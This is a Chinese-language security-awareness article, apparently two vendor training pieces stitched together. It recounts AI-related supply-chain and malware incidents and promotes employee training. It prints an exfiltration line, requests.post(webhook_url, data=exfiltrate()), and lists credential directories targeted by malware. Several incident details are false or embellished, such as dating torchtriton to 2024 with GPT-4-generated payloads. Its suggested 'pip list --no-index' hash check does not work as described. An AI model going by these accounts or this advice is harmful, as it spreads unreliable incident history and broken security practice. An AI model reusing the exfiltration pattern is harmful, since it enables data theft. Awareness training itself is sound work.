---

Ⅰ. 头脑风暴：想象四场“数字灾难”如何冲击我们的工作生活

在信息化、数字化、智能化飞速发展的今天，安全威胁不再是“黑客敲门”，而是“AI装扮的潜行者”。如果把公司比作一座城堡，下面这四个场景或许能让你瞬间警醒——它们不仅真实发生过，更在无形中撕开了城墙的裂缝。

1. “伪装的依赖包”——PyPI恶意库“torchtriton”
   想象你在项目中需要一个最新的深度学习工具，点开 pip install torchtriton，却不知这背后是一段被AI自动改写、具备自删功能的恶意代码，悄然窃取模型权重、泄露业务机密。

2. “AI写手的社交工程”——NullBulge在Hugging Face和GitHub的双重渗透
   一位看似热心的开源贡献者，利用大语言模型自动生成“完美代码”，在GitHub仓库中留下几行恶意payload，随后通过Discord webhook 把窃取的企业数据送出，受害者甚至连异常都未察觉。

3. “链上的暗门”——Solana Web3.js库的后门版本
   开发者在npm上下载 @solana/web3.js 1.95.6 版，以为在构建下一代区块链应用，殊不知后门已把私钥一键植入，十分钟内价值数十万美元的加密资产被掏空。

4. “云端凭证的灰色灰烬”——Wondershare RepairIt硬编码云密钥
   一款AI图像修复工具在本地运行时，自动从云端拉取模型。攻击者通过泄露的硬编码凭证，替换官方模型为“后门模型”，进而在用户的机器上执行任意代码，甚至修改公司内部的AI服务。

以上四幕，既是现实，也是警钟。下面我们将逐一剖析每一起事件的技术细节、攻击路径以及可以汲取的教训，帮助大家在“信息安全的长夜”里点燃自我防御的明灯。

---

Ⅱ. 案例一：PyPI恶意库“torchtriton”——AI生成的变形病毒

1. 事件概述

2024 年 4 月，一名安全研究员在 PyPI（Python 包索引）上发现了名为 torchtriton 的新库。其描述声称是 “PyTorch 与 Triton 的高性能融合”，实际下载后，库内部隐藏了一个使用 GPT‑4 自动生成的混淆脚本。该脚本在首次运行时会：

• 检测宿主系统是否为开发环境（检测 git、docker、VSCode 进程）；
• 若符合条件，利用 OpenAI API 调用模型生成针对目标系统的特制 payload；
• 将 payload 注入到已安装的 torch 库内部，窃取模型权重并向攻击者的 C2 服务器回传。

2. 攻击链细节

步骤	行动	技术要点
①	搜索依赖	攻击者使用 AI 辅助的依赖自动补全工具，寻找热门库的相似名称（如 torch‑triton）
②	恶意发布	利用自动化脚本在 PyPI 创建账户并发布恶意包，使用 AI 生成的 README 进行“欺骗式营销”
③	感染扩散	CI/CD 流水线中的 pip install torchtriton 自动拉取，恶意代码随即执行
④	信息窃取	通过加密的 HTTP POST 将模型文件、API 密钥发送至攻击者控制的云函数
⑤	自毁或持久化	在检测到安全分析工具（如 bandit、sast）时自动删除关键文件，避免被发现

3. 教训与对策

1. 依赖验证不容忽视：在 requirements.txt 中加入哈希校验（--hash=sha256:），并使用 可信源镜像（如公司内部 PyPI 私服）；
2. AI生成代码的辨识：利用 OSS‑Fuzz、GitGuardian 的 AI‑pattern 检测模型，对新引入的依赖进行静态分析；
3. 最小化特权原则：将 pip 运行在 只读容器 中，禁止直接访问网络或系统凭证；
4. 持续监控：在生产环境部署 行为审计（如 Sysdig、Falco）监测异常系统调用。

---

Ⅲ. 案例二：NullBulge 的“双平台渗透”——AI‑写手的隐形攻击

1. 事件概述

2024 年底，安全团队在 Hugging Face 上发现一个新模型仓库 ComfyUI_LLMVISION，其项目 README 充满了专业术语与示例代码。实际上，这是一段 AI 自动生成 的恶意扩展，利用 Python 脚本将 Discord webhook 嵌入到模型的 inference.py 中。与此同时，同一攻击者在 GitHub 上发布了对应的 VSCode 插件，在插件激活时向同一 webhook 发送被窃取的企业凭证。

2. 攻击链细节

1. 社交工程：攻击者利用 ChatGPT 自动生成的 “开源贡献者” 个人资料，包含完整的 GitHub、Stack Overflow、博客 内容，提升可信度。
2. 代码注入：在模型的推理函数中植入 requests.post(webhook_url, data=exfiltrate())，并使用 变形加密（AES‑CBC + base64）隐藏 payload。
3. 跨平台传播：同一恶意代码被打包进 npm 插件 comfyui-llmvision-plugin，用户在 VSCode 中安装后，插件自动向本地 .vscode 添加后置脚本，实现二次渗透。
4. 数据泄露：攻击者收集了 API keys、内部文档、模型权重，并在 48 小时内完成价值 300 万美元 的情报出售。

3. 教训与对策

• 身份验证强化：对所有开源贡献者实行 多因素认证（MFA），并使用 GitHub Enterprise 的 SAML 单点登录 进行身份审计。
• 代码审计自动化：引入 AI‑Red Team（如 Microsoft Counterfit）对 Pull Request 进行语义相似度分析，检测异常代码模式。
• 供应链可视化：采用 SLSA（Supply‑Chain Levels for Software Artifacts） 标准，对每一次构建、发布、签名全流程记录并可追溯。
• 网络分段：将 IDE 插件 的网络访问限制在 内部沙箱，防止直接向外部 webhook 发送数据。

---

Ⅳ. 案例三：Solana Web3.js 后门——加密世界的“暗门”

1. 事件概述

2024 年 12 月 2 日，攻击者成功入侵 npm 官方账户，发布了 @solana/web3.js 的恶意版本 1.95.6 与 1.95.7。这些版本在 connection.js 中加入了 硬编码的私钥，并在每次调用 sendTransaction 时自动将签名信息发送至攻击者控制的 Tor hidden service。攻击者利用这一后门在短短 5 小时内窃取了约 180,000 美元 的加密资产。

2. 攻击链细节

• 账户劫持：通过 社交工程（伪造 npm 官方邮件），获取了官方维护者的 GitHub 账户凭证。
• 恶意发布：利用 GitHub Actions 自动化 pipeline，将后门代码注入到 npm publish 过程。
• 加密提款：后门通过 Tor 隐匿通信路径，规避传统的网络监控与日志审计。
• 撤销痕迹：在被发现后，攻击者迅速删除了恶意版本的 npm 包，并在 npm 官方日志中留下空洞。

3. 教训与对策

1. 官方账户安全：对所有关键的 npm / GitHub 账户启用 硬件安全钥匙（YubiKey） 与 基于风险的 MFA。
2. 发布流程加固：在发布前执行 代码签名（GPG/PGP） 与 二进制哈希比对，并在 CI 中加入 SLSA‑3 检查。
3. 链上行为监控：部署 区块链分析平台（如 Chainalysis），实时监测异常转账与地址聚类。
4. 暗网警报：启用 暗网威胁情报（如 Recorded Future）对涉暗服务的网络流量进行预警。

---

Ⅴ. 案例四：Wondershare RepairIt 云凭证泄露——AI模型后门的隐蔽路径

1. 事件概述

2025 年 9 月，Wondershare RepairIt 的最新版本在运行时自动下载官方 AI 修复模型。调查发现，二进制中硬编码了 阿里云 OSS 的 AccessKeyId 与 AccessKeySecret。攻击者利用这些凭证在 OSS 上上传了篡改后的模型文件，导致使用该软件的企业客户在本地执行时，实际调用的是带有后门的 恶意模型，从而实现 远程代码执行（RCE）。

2. 攻击链细节

步骤	行动	关键点
①	硬编码凭证	开发者为便捷调试将云凭证写入源码，未使用 环境变量 或 密钥管理服务
②	凭证泄漏	二进制反编译后，攻击者轻易获取并在 GitHub 上公开
③	模型替换	利用凭证将恶意模型上传至相同路径，覆盖官方模型
④	客户端感染	用户开启 RepairIt，自动下载并执行恶意模型，触发系统命令
⑤	持久化	恶意模型在本地创建计划任务，实现长期控制

3. 教训与对策

• 凭证管理成熟度：使用 云原生密钥管理（KMS、Secrets Manager），禁止在代码、二进制中出现明文凭证。
• 二进制完整性校验：在产品启动前进行 数字签名校验，防止篡改模型文件。
• 模型供应链审计：对所有下载的 AI 模型执行 SHA‑256 哈希比对，并存入 可信模型库。
• 最小化信任链：采用 零信任 原则，对模型下载源进行 TLS Pinning，防止中间人攻击。

---

Ⅵ. 当下的数字化、智能化环境：机遇与危机并存

1. 信息化的加速器——云计算、容器、微服务

企业的业务正从单体应用向 容器化、无服务器 迁移。每一个容器镜像、每一次函数部署都是潜在的 攻击面。Supply‑Chain Attacks（供应链攻击）已经从 “库依赖” 演化到 “镜像层”和 “CI/CD 流水线”。

2. AI 赋能的双刃剑

大语言模型（LLM）让 自动化渗透 成为可能。AI 可以在 几秒钟内 生成 变形代码、社会工程邮件、恶意模型。另一方面，AI 也能帮助我们 实时检测异常、生成威胁情报。关键是要把 防御 AI 纳入安全体系，而不是把 AI 只当作攻击者的工具。

3. 数据驱动的监管浪潮

欧盟 AI Act、美国 Executive Order on AI、中国 网络安全法（修订草案） 等法规不断收紧，对于 AI 供应链安全、数据治理、事件响应时限 都提出了明确要求。合规不再是“可选项”，而是 企业生存的硬约束。

4. 人员是最薄弱也最强大的环节

技术再先进，若 人 仍然在“钓鱼”前点开链接、在“依赖”前不检查签名，任何防御都将被突破。安全意识 是转化技术防护为“整体防线”的关键杠杆。

---

Ⅶ. 呼吁全员参与信息安全意识培训：从“被动防御”到“主动守护”

1. 培训的定位与价值

“防范未然，胜于事后补救。”——《孙子兵法·计篇》

我们即将启动的 信息安全意识培训，不是一次“一次性灌输”，而是 持续赋能、分层递进 的学习体系。它将帮助大家：

• 认知提升：了解最新的 AI 供应链攻击手法，洞悉攻击者的思维逻辑。
• 技能渗透：掌握 安全编码、依赖审计、钓鱼邮件辨识 等实战技巧。
• 行为养成：通过 微练习、场景演练，形成安全第一的工作习惯。
• 合规对齐：熟悉 EU AI Act、国内网络安全法规 的关键要求，避免因合规失误导致的巨额罚款。

2. 培训结构一览（全程线上+线下混合）

模块	内容	时长	关键产出
基础篇	信息安全概念、常见威胁、密码学基础	2 h	安全基础认知测评
供应链篇	AI‑enabled供应链攻击案例、依赖管理最佳实践、签名验证	3 h	依赖清单审计模板
AI防御篇	使用 AI 检测恶意代码、调试 AI Red‑Team 工具	2 h	实战实验报告
合规篇	EU AI Act、国内网络安全法要点、事件响应流程	1.5 h	合规检查清单
演练篇	仿真钓鱼、红蓝对抗演练、桌面推演（Table‑top）	2 h	个人防护行动计划

每个模块结束后都有 小测验 与 即时反馈，确保学习效果。完成全部模块后，您将获得 《信息安全合规与AI防御》电子证书，可在内部职级晋升、项目参与中加分。

3. 如何报名与参与

1. 登录公司内部 Learning Hub（链接已发送至企业邮箱）。
2. 在 “安全培训” 栏目中选择 “AI 供应链防御”，点击 “立即报名”。
3. 完成 企业邮箱验证 与 MFA 绑定后，即可进入 学习空间。
4. 每周三 19:00 将进行一次 线上直播答疑，欢迎提前提交问题。
5. 培训期间，公司将提供 “安全实验箱”（包含受控的 CI/CD 环境、漏洞靶场），让大家亲手演练。

4. 培训的激励机制

• 积分换礼：完成每个模块即可获得 安全积分，积分可兑换 电子书、技术周边。
• 最佳防护榜：每月评选 “安全守护先锋”，奖励 额外年终奖金 与 公司内部专栏发表机会。
• 团队赛：部门间组织 红蓝对抗挑战赛，胜出团队可获得 团队建设基金。

---

Ⅷ. 从“安全意识”到“安全文化”：我们每个人都是守门人

在数字化浪潮的冲击下，安全不再是 IT 部门的责任，而是全员共同的使命。正如古语所说：

“千里之堤，毁于蚁穴。”
“护城虽固，若无警钟，亦难免开门。”

我们要把 “警钟” 挂在每个人的工作台前，把 “防线” 铺设在每一次代码提交、每一次依赖下载、每一次云凭证使用的瞬间。让 技术 与 意识 同时发光，才能在 AI 时代筑起一道坚不可摧的数字防火墙。

今天，请在日常工作中尝试以下三件事：

1. 检查依赖：在 git pull 前，用 pip list --format=freeze --no-index 对比哈希；对 npm install 使用 npm audit。
2. 验证身份：对所有外部 Pull Request 要求 GPG 签名，对关键凭证实行 MFA。
3. 记录行为：在每一次系统变更后，填写 安全日志（包括时间、变更内容、批准人），并在 Teams 中进行 简短同步。

让这些小动作成为习惯，才能在真正危机到来时，从容应对。安全的力量，源自每个人的自觉。

---

Ⅸ. 结语：共同守护，迈向安全的明天

从 torchtriton 的 AI 变形病毒，到 NullBulge 的跨平台渗透；从 Solana Web3.js 的暗门，到 Wondershare RepairIt 的云凭证泄露，四起案例共同揭示了一个不争的真理：技术的进步必然催生更隐蔽、更智能的攻击。只有当企业的每一位成员都具备 “安全思维” 与 “AI 防御能力”，才能在这场看不见的战争中保持主动。

请即刻加入我们的 信息安全意识培训，让我们在知识的灯塔下，同舟共济、共筑数字安全的长城。未来的网络空间，需要的不仅是防火墙和杀毒软件，更是一支全员参与、持续学习的安全军团。

让我们以安全为帆，以创新为桨，在 AI 时代的波涛中稳健前行！

---

昆明亭长朗然科技有限公司强调以用户体验为核心设计的产品，旨在使信息安全教育变得简单、高效。我们提供的解决方案能够适应不同规模企业的需求，从而帮助他们建立健壮的安全防线。欢迎兴趣客户洽谈合作细节。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898

---

头脑风暴：如果你的工作站“活”了会怎样？

想象一下，清晨你打开笔记本，屏幕闪烁之间，系统弹出一行温柔的提示：“早安！今天为您准备了最新的行业报告。”你点开链接，却不知这背后藏着一段正在“现场写作”的恶意脚本——它正在调用云端的语言模型，实时生成针对你机器的攻击指令。再比如，同事在使用AI聊天助手写代码时，助手返回的代码竟自动植入了后门，等你部署后，服务器瞬间被远程控制，数据泄露如潮水般涌出。

这两幕看似科幻，却正是2025年Google威胁情报小组（GTIG）报告中披露的“Just‑in‑Time AI”恶意软件的真实写照。AI不再是被动的工具，而成为攻击者的“即时编辑器”，在攻击的每一个环节现场生成、改写、隐匿自身行为。下面，我们用两个典型案例来拆解这种新型威胁的攻击链，帮助大家在日常工作中擦亮警惕的眼睛。

---

案例一：PROMPTSTEAL——AI“即写即走”的数据矿工

背景
2025 年 4 月，某大型金融机构的风险监控中心发现，一台负责日终报表生成的服务器在凌晨 2 点出现异常网络流量，且系统日志中出现大量未经授权的 PowerShell 命令。经过深度取证，安全团队锁定了名为 PROMPTSTEAL 的新型恶意软件。

攻击路径
1. 渗透入口：攻击者通过钓鱼邮件，诱导目标员工下载一份看似普通的 Excel 表格。该表格利用宏自动执行 PowerShell 脚本，从而在受害机器上下载并安装了一个轻量级的启动器。
2. AI 调用：启动器内部嵌入了对 Hugging Face 平台的 API 调用代码。它向云端的 LLM（Large Language Model）发送指令，如“生成用于收集 Windows 主机系统信息的 PowerShell 命令”。LLM 根据提示即时返回一段新的、针对当前系统环境的脚本。
3. 即时执行：返回的脚本被立即写入本地文件并执行，完成系统信息搜集、进程列表、网络连接等数据的收集。随后，这些信息被压缩、加密后通过 C2（Command and Control）通道回传攻击者。
4. 自我变形：在每一次执行后，启动器会再次向 LLM 请求“优化隐藏痕迹的 PowerShell 代码”，生成的新代码在语法、变量名、混淆方式上彻底不同，导致传统基于签名或静态规则的杀软难以捕获。

后果
– 数据泄露：超过 2000 份内部财务报表、客户信用信息被窃取。
– 业务中断：异常流量触发了网络流量监控报警，导致系统临时被强制切断，影响了当天的结算业务。
– 合规风险：根据《网络安全法》及金融行业监管要求，企业需在 72 小时内上报重大信息泄露事件，实务中因取证延误导致处罚金额高达 300 万人民币。

安全教训
– 不可信的外部 API：即使是官方推荐的模型平台，也可能被滥用。企业内部不应允许未经审计的脚本直接调用外部 LLM 接口。
– 宏安全：Excel、Word 等 Office 文档的宏功能仍是钓鱼攻击的高危载体。应通过技术手段禁用不必要的宏，或采用受控执行环境（sandbox）运行。
– 动态行为监控：针对“即时生成、即时执行”的恶意行为，传统的基于文件哈希或签名检测已失效。需要部署基于行为的异常检测平台，结合进程调用图、网络流量特征进行实时分析。

---

案例二：QUIETVAULT——AI 生成的隐蔽凭证窃取者

背景
2025 年 7 月，一家跨国制造企业的研发部门在内部知识库中发现，多个项目代码库的提交记录中出现了异常的 SSH 公钥文件。进一步调查发现，这些公钥并非研发人员手动生成，而是由一款名为 QUIETVAULT 的恶意程序自动生成并植入系统。

攻击路径
1. 社会工程诱导：攻击者在技术论坛上冒充“AI 代码助手”的开发者，发布了一个免费插件，声称可以“一键生成高质量的 Python 代码”。该插件要求用户在本地安装 Node.js 环境并执行 npm install ai-helper。
2. 植入后门：插件内部包含一个微型的 AI CLI 工具，利用本地已安装的 LLM（如 Gemini）进行自然语言到代码的转换。攻击者在提示词中混入了“生成用于搜索系统中所有凭证文件的 PowerShell 脚本”。LLM 生成的代码被自动写入系统的启动脚本目录。
3. 凭证搜集：这些脚本在每次系统登录时运行，遍历 C:\Users\*\AppData\Roaming、%USERPROFILE%\.ssh 等目录，收集所有密码、令牌、SSH 私钥。随后，通过加密后上传至攻击者控制的 Git 仓库，利用 Git 的版本控制特性隐藏传输痕迹。
4. AI 伪装：为了躲避基于关键字的检测，脚本使用了 AI 生成的自然语言注释，如“# 此脚本用于自动化日常任务调度”。在代码审计时，审计人员常被这些“看似合理”的注释误导，误判为无害脚本。

后果
– 凭证泄露：约 1500 组内部系统凭证被外泄，导致攻击者能够在多台关键生产服务器上植入后门。
– 业务损失：黑客利用被盗凭证对生产线的 PLC（可编程逻辑控制器）进行控制，导致部分生产线停产 8 小时，直接经济损失约 800 万人民币。
– 声誉危机：客户对供应链安全产生疑虑，部分长期合作的 OEM 暂停了订单，企业形象受损。

安全教训
– 插件来源审查：任何第三方插件、脚本库都必须通过企业内部的供应链安全审计，防止恶意代码随包装发布。
– 最小特权原则：普通研发机器不应拥有访问系统凭证的权限，敏感凭证应通过专用密码管理系统（如 HashiCorp Vault）统一管理。
– AI 生成代码审计：对 AI 生成的代码应加入人工复审环节，尤其是涉及系统命令、网络请求的部分，防止模型被“诱导”生成恶意指令。

---

AI 时代的威胁新生态：从“工具”到“同谋”

Google 报告指出，2025 年的恶意软件已进入 “Just‑in‑Time AI” 阶段，攻击者不再依赖事先编写好的固定代码，而是利用 LLM 在攻击过程中实时生成、改写、加密自身行为。其核心特征包括：

1. 即时脚本生成：利用云端或本地的语言模型，在每一次执行时动态生成针对目标环境的攻击指令。
2. 自适应隐蔽性：每一次改写都能绕过已有的检测规则，使得基于签名的防御失效。

   

3. 社交工程融合：攻击者利用 AI 生成的逼真钓鱼邮件、伪装的技术文档，诱导受害者下载或执行恶意代码。
4. 国家级力量介入：报告提到，朝鲜、伊朗、中华人民共和国等国家的情报机构已将此类 AI 垂直化工具列入常规作战手段，从情报搜集到 C2 基础设施均实现全链路 AI 化。
5. 地下 AI 市场成熟：2025 年的暗网中已经出现了“AI 即服务”（AI‑as‑a‑Service）平台，攻击者可以租用“一键生成恶意脚本”的模型接口，门槛大幅下降。

在这样一个 信息化‑数字化‑智能化 的复合背景下，技术 的进步既是企业提升效率的“助推器”，也是黑客手中锋利的“匕首”。如果我们继续在信息安全上抱持“技术成熟即安全”的幻觉，那么任何一次未加防护的 AI 调用，都可能成为“天降正义” 的入口。

---

号召全员参与：信息安全意识培训即将启动

面对 AI 的“全时作战”，单靠技术部门的防火墙、入侵检测系统已经不足以构筑安全防线。全员 的安全意识、知识与技能，才是组织抵御高级威胁的根本屏障。为此，公司将于本月 20 日正式启动为期两周的 “AI安全·零距离” 信息安全意识培训，内容包括但不限于：

1. AI 生成内容的辨识技巧
   • 如何判断一段代码、文档或脚本是否由 LLM 生成？
   • 常见的 AI 诱导关键词、隐蔽提示词识别方法。
2. 现代钓鱼攻击的全景演练
   • 通过真实案例模拟，包括利用 AI 完成的社交工程邮件。
   • 实时检测与快速响应流程演练。
3. 安全开发生命周期（SDL）与 AI 辅助编程
   • 在使用 AI 编码助手（如 Copilot、Gemini）时的安全审计规范。
   • 代码审计工具如何结合静态分析、AI 代码审计进行双重验证。
4. 最小特权与凭证管理
   • 通过演示演练，让大家掌握如何使用企业内部的密码库、硬件安全模块（HSM）以及一次性密码（OTP）进行安全登录。
5. 应急响应与报告机制
   • 案例复盘：从发现异常到报告、隔离、取证的完整流程。
   • 通过实例教学，让每位员工熟悉内部的 “一键报警” 平台，降低响应时间。

培训形式与参与方式

• 线上直播 + 互动问答：每天 09:00‑10:00，邀请资深安全专家、AI 领域学者进行主题分享。
• 情景模拟平台：搭建独立的安全实验环境，提供 仿真攻击场景（如 PROMPTSTEAL、QUIETVAULT），让学员亲身“破解”。
• 趣味闯关：完成每个模块的学习后，可在内部 安全知识闯关系统 中获取积分，积分最高者将赢取公司精选 “AI 防护大礼包”（包括硬件加密U盘、专业安全书籍等）。
• 考核认证：培训结束后将进行一次闭卷考试，合格者授予 “AI安全守护者” 电子徽章，纳入年度绩效考核加分项。

“防微杜渐，未雨绸缪。”——古语有云，防御的最佳时机永远是事前，而非事后。我们每个人都是信息安全链条上不可或缺的一环，只有把安全意识根植于日常工作，才能让 AI 的“双刃剑”真正成为助推创新的利器，而不是危及企业根基的致命剑。

---

结语：让安全成为企业文化的底色

当 AI 从 “工具” 变成 “同谋”，安全的焦点不再是“技术堤坝”，而是 “人-机协同防御”。本次培训正是一次 “安全基因植入” 的契机——通过案例学习、兴趣驱动和实战演练，让每位同事在面对 AI 生成的未知威胁时，都能具备快速识别、及时响应、主动防护的能力。

让我们共同把这份警觉转化为行动，把每一次点击、每一次代码提交、每一次系统配置都视为 “安全的微创”。只有全员参与、持续学习，才能在信息化浪潮中立于不败之地。

信息安全不是 IT 部门的专利，而是全体员工的共同责任。
让我们在即将开启的培训中，携手共进，用智慧抵御 AI 时代的暗潮，用行动书写安全的篇章！

---

作为专业的信息保密服务提供商，昆明亭长朗然科技有限公司致力于设计符合各企业需求的保密协议和培训方案。如果您希望确保敏感数据得到妥善处理，请随时联系我们，了解更多相关服务。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898